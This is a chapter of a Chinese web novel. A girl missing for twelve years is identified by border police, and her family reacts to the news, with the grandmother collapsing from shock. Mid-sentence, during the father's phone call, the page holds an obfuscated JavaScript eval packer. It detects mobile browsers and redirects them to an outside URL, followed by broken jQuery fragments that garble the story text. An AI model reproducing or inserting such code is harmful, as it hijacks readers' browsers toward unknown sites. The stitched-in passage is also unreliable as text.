80. 震惊的程家人

程野跟着到了警局,小地方的警局坐落在民房周围,门口挂了一张小小的徽章,叫人看出来这房子和其他的区别。


里边也甚是简陋,桌子上摆了一块电脑屏,电脑后面坐着个女警。带路的警员并没有在大厅里停留,他领着程野到了左侧一个空荡荡的小房间,示意程野坐到对面。


他到外面嘱咐了几句,一会儿,刚刚大厅的女警和他一道进来,与程野对立而坐。


“姓名?”


“程野。”


“哪个程?哪个野?身份证带了吗?麻烦取出来看看。”


程野摇摇头,身份证是十六岁才需要办理的证件,她离开的时候才六岁,都没资格办理。


“丢了?”男警察皱眉。“那手机有没有?现在能和家人联系上吗?”


“没有。那个,我想问下,我是犯了什么事吗?为何带我到这里来。”程野问。


男警察说:“有群众怀疑你是可疑分子,例行公事问询一番,你也不用担心,没有问题是不会有事的。”


程野低着头,安抚着躁动不安的白球儿,大的狗都老成稳重,许是嗅到气氛不对,都虎视眈眈凝神相对。


见程野有些抗拒的神色,男警察和女警员交换了一个眼色,接下来女警温和地问:“程野是吧?你今年多大?哪省人?到嘎子窝是游玩探亲还是其他事呢?来了有几天呢?”


程野轻叹一口气,“我叫程野,禾口程,野外的。今年十八岁,凤凰县人。”


“那到这里多久了?通过什么方式过来的?”


程野:“飞过来的。”


“啊?”女警员诧异地抬头看程野。


她见程野神色正常,不像是有精神疾病的样子,她轻声说:“麻烦配合一下,这边好登记情况。你这边也没有有效证件,最近又值特殊时期,确实需要仔细核实一番。”


“就因为我用了老版本的纸币吗?国家也没有哪条法律规律老版本的纸币不能使用吧?我自认为没有犯法的地方,我所说的每一句话也都是事实。”


程野有些烦躁,她在这个世界缺失了十二年是事实,叫她如何拿证据。


“你的身份证号还记得吗?”旁边的男警察突然问。


“能。”


“xxxxxx19940515xxxx。”


身份证好她前世经常用到,所以记得很熟,哪怕过了几十年,还是能脱口而出。


女警员连忙记下证件号,到外面用内部系统查询程野的个人信息。整个过程,程野只能安静地坐在小房间。对面那男警察一直盯着她审视。


过了一会儿,刚才那女警察咚咚咚跑进来,俯身在男警察耳边嘀嘀咕咕说了几声,看程野的目标惊疑不定。


“别慌,我去看看。”


良久,男警察再度进了小房间。


“你真的叫程野?凤凰县仙河镇凤凰岭下湾村的程野?”


“是的。”


“可是你当年……”男警察欲言又止,他吞下剩下的话,问程野,“那你还记得你家里有些什么人吗?具体姓名和年龄。”


程野一一说了几个人的名字和年龄。


都能对上!男警察和女警看了看电脑系统,又抬头看程野。


“你这些年都去了哪里?”


“我遇到了一个高人,与他一路学习去了。今年学成归来,也正好满十八岁了,我师父叫我回到俗世生活,他继续云游四方去了。”


“程野女士,这并不是在演电视,我们是认真在问询。”


“我也说的是事实。”


“那你身边那只白色的,是狼吗?你要知道狼是不允许私人圈养的。”


“不是狼,是长得和狼比较像的哈士奇,它很温顺。”程野怕这个边境警察把雪狼扣下要放归山野,她咬定雪狼的身份,“雪儿,叫一声给警察叔叔听。”


程野拍了拍雪狼的狼头。


雪狼揶着眼,整个狼无语得很,它沉默了半晌,就在程野以为它不愿意配合的时候,突然张嘴“汪”了一声。


和狼青平常的叫声一样。


程野淡定地转头对男警察说:“看嘛,就是只哈士奇。”


“那它的眼神怎么那么像狼?”


“它天生带点残疾,当初停留的村子恰好周围有狼群,它东施效颦学人家,没学到家。”


男警察似信非信。


从看到程野的那一刻,他就觉得眼前这个女孩特别矛盾,不像是正常的女孩子,穿着也很是奇怪,不像他们这边哪家摄影楼的服饰。言谈举止中,带着淡淡的疏离感和俯视感。


而且都二十一世纪了,现代社会几乎人人都有一部手机,她神色中似乎压根都没想到过手机一物。


种种迹象表情,再加上多年经验告诉他,这个女孩绝对有问题。


果不其然,她说的户口信息就是第一个诡异点。


这个户口信息,在他们内部人员看来已经是死人了。当年当地的警察找不到人,案子成了悬案,人员生存事实待核实。


她的家人倒是一直没有注销她的户口,所以还能查询,前几年人口大普查将信息都录入了系统,不知道谁把她也继续录进去了。


“打电话到凤凰县那边问问,联系上她的家人核实情况。”


“那这小姑娘现在如何处理?”


“先在镇上给她开一间房,等她家人到了再说。”


“嘎子窝在边境位置,现在又正逢元旦节,她的家人不知道要多久才到。还有镇上的宾馆房间都满了,也不知道能不能找到。最重要的是,郭局,她的住宿费局里报销吗?”


凭程野拿着几张老版纸币去买东西,就晓得她身上估计没几个钱的。


“算我账上。”郭局沉默半晌,说道。


“诶,好。”女警员领着程野,带着她的狗,到了隔壁离警局十多米远的民房模样的屋子,进去问了一番,得知还有个边户房间空着,只是没有暖气,只能靠炉子取暖。


“无妨,我挨得冷。”程野安慰女警员说。“倒是麻烦您了,大冷的天跟着折腾。”


女警员年纪不大,脸蛋上两坨红红的高原红,看起来给她增添了些活力,“为人民服务,都是应该的。”


程野笑笑没说话。


从警局转了一圈,到宾馆房间时,已经五点多钟了。


窗外天色阴沉沉的,看样子又是一场暴风雪。


程野突然想到白日遇到的登山队,不知道他们有没有听劝打道回府。


程野将这些事抛之脑后,开始忐忑家里那边知道她消息了会如何。


不知道她阿奶还好不好?


还有她外公,当时要不是赶回去给他捡剃须刀,估计也不会被大蟒蛇卷走。虽然她和张外公不太亲昵,可还是希望老人家好好的。


*


几千里外,程四柳接到了公安局的电话。


他像往常一样,顺手接下电话,只听见话筒那边问他:“请问是程四柳吗?”


“啊,对。你是哪个?”


“我们是凤凰县仙河镇公安局的工作人员。这边接到藏区嘎子窝公安局那边电话,你们是不是有个女儿叫程野,94年5月15出生的。”


“对。请问有什么事吗?”程四柳再次听到大女儿的名字,神色有些恍惚,好久都没听到提起这个名字了,在家里,“程野”两个字都成了禁忌。


现在陡然听到“程野”的名字,他心疼依旧难受得紧。


“是这样的,那边现在有个女孩子说自己叫程野,身份信息都和你的女儿能对上,那边想让你去核实确认一下。你看你这两天有空去一趟吗?”


“等等!”


程四柳似乎听到自己的血液在冷冷的风雪里欢快的沸腾奔涌,脑子懵懵然。


“同志,我家没钱,你不用找这个理由来骗人,我女儿去世十多年了,请你尊重她。”


“……”那边的人显然没想到程四柳会这样说,无奈地笑了一声,骗子太猖獗,以至于连公家电话都叫人不敢信了,确实是他们工作做不到位。


“虽然这个事实确实令人难以相信,但是那边已经确认了人活蹦乱跳的,现在就只需要你这边过去再核实情况。”


程四柳再三确认电话的真实行,他把手机举起,上面的来电显示确实是镇上公安局的公用电话,名称都在上面


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039029|172749||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


,一般人都不敢冒用,不是个人手机号。


“警察叔叔,我现在有空,马上就可以走。具体位置在哪里,我怎么过去?”程四柳快速地说,他边问边快速往家走,走着走着嫌弃太慢,疯狂跑起来。


到了家,他喘着粗气对电话那头的人说,“我到家了,麻烦您先被挂电话,我找一支笔记一下。”


程四柳看到程茉在堂屋坐着陪程铁木老两口烤火,急忙快速的喊她,“程茉,快去拿一只笔和本子出来!快!”


程茉不敢耽搁,急忙去楼上取。


程铁木见老幺急火忙天,“发生什么事了,叫你这么急。”


“爸,有程野的消息了,公安局打电话过来说有个女孩子叫程野,叫我过去认。”


“什么?”程铁木噌一下站起身,地上的板凳被他大力的动作带到了火堆里。


他一点顾不上。


“你说什么?程野?程野在哪里?我就说,我就说我老程家老祖宗保佑的大孙女,一定吉人天相。”


程铁木说着说着,双眼泪眼珠子双爬流,他佝着身子对火堆边的兰小花大声说,“老婆子,你听到没有,程野,有程野的消息了,我们大孙女还活着!”


“啥?”


兰小花早已不复当年矫健,上辈子到年纪了走的时候头发还是黑的多白的少,现在却早已花白。她双眼蒙了一层白翳,在半空中乱摸,“老头子,你说啥?什么程野?”


“老婆子,我们孙女,程野!”


“程野啊,程野不在了,早不在了。我的大孙女叫蟒蛇拉走了。”兰小花听到程野的名字,喃喃自语,布满白翳的双眼,泪水跟着泪沟顺流而下。


程铁木抬手在她脸上抹了一把她的眼泪,再次俯到她耳边,用尽力气大声说,“程野还在,在外省,公安局打电话叫过去接,老幺马上就出去接,你过两天就能看见了。”


“对,妈,程野在藏区,就是阿古的老家,我马上就去接,过两天就回来了。”程四柳掰直兰小花的身体,吼着给她说。


这些年,家里最伤心最难过的就是他妈兰小花。


每每想到程野,见天的哭,眼睛也哭瞎了,只能看到人花花。


耳朵也处于半聋的状态,不大声说话,她根本听不清。


“程野、程野还在。”兰小花终于听清楚了,她死死抓住程四柳的胳膊,干瘦的双手迸发出无限的力量,抓的程四柳都疼了。


程四柳顾不上疼痛,猛点头,“对,妈,程野还在,你要好好的,等程野回来。”


“要得,我要等程野回来,我一定要等她——”话未说完,兰小花突然倒了下去,吓得程四柳连忙拽住她,把人一把抱起,放到堂屋边上的卧室。


“爸,我去喊于叔过来给妈瞧瞧。”程四柳赶紧到门口骑了摩托车到古塘村,这些年要不是于淡水,他妈早就去了。


所以兰小花一不好,都会去请他。


这两年于淡水私底下常常对他叹气,说是兰小花看着日子不多了,本来可以多活些年头,可这人啊,人头有郁结,郁结一压,身子吃不消就要不好。


“叔,我妈又不好了,麻烦您过去看看。”程四柳把摩托车停在于家大门口,人在门口就朝着里面大声喊。


于家老院子和当年没什么变化,依旧古香古色的。旁边有两棵枇杷树,树叶亭亭如盖,遮住了半边阴凉。


冬日正值枇杷花开时节,黄橙橙的枇杷花开得正灿烂。


到了天井,程四柳远远看到一个如玉少年从屋中迎出来。


“程叔。”


“诶,冬时也回来看外公外婆了啊?”


“嗯。程奶奶怎么了?严重吗?”诉冬时焦急问程四柳。他虚扶着程四柳到厅里。


于淡水也整理好药箱,挂在肩上正要出门。“你妈最近不是养得好好的吗?怎么突然又晕倒了?”


程四柳:“是我太心急,忘了我妈受不得刺激。”


“什么事刺激了?”


“我下午接到公安局电话,藏区那边有个叫程野的女孩说是我家的,叫我过去核实相认。”


于淡水:“什么?”


“您说什么?”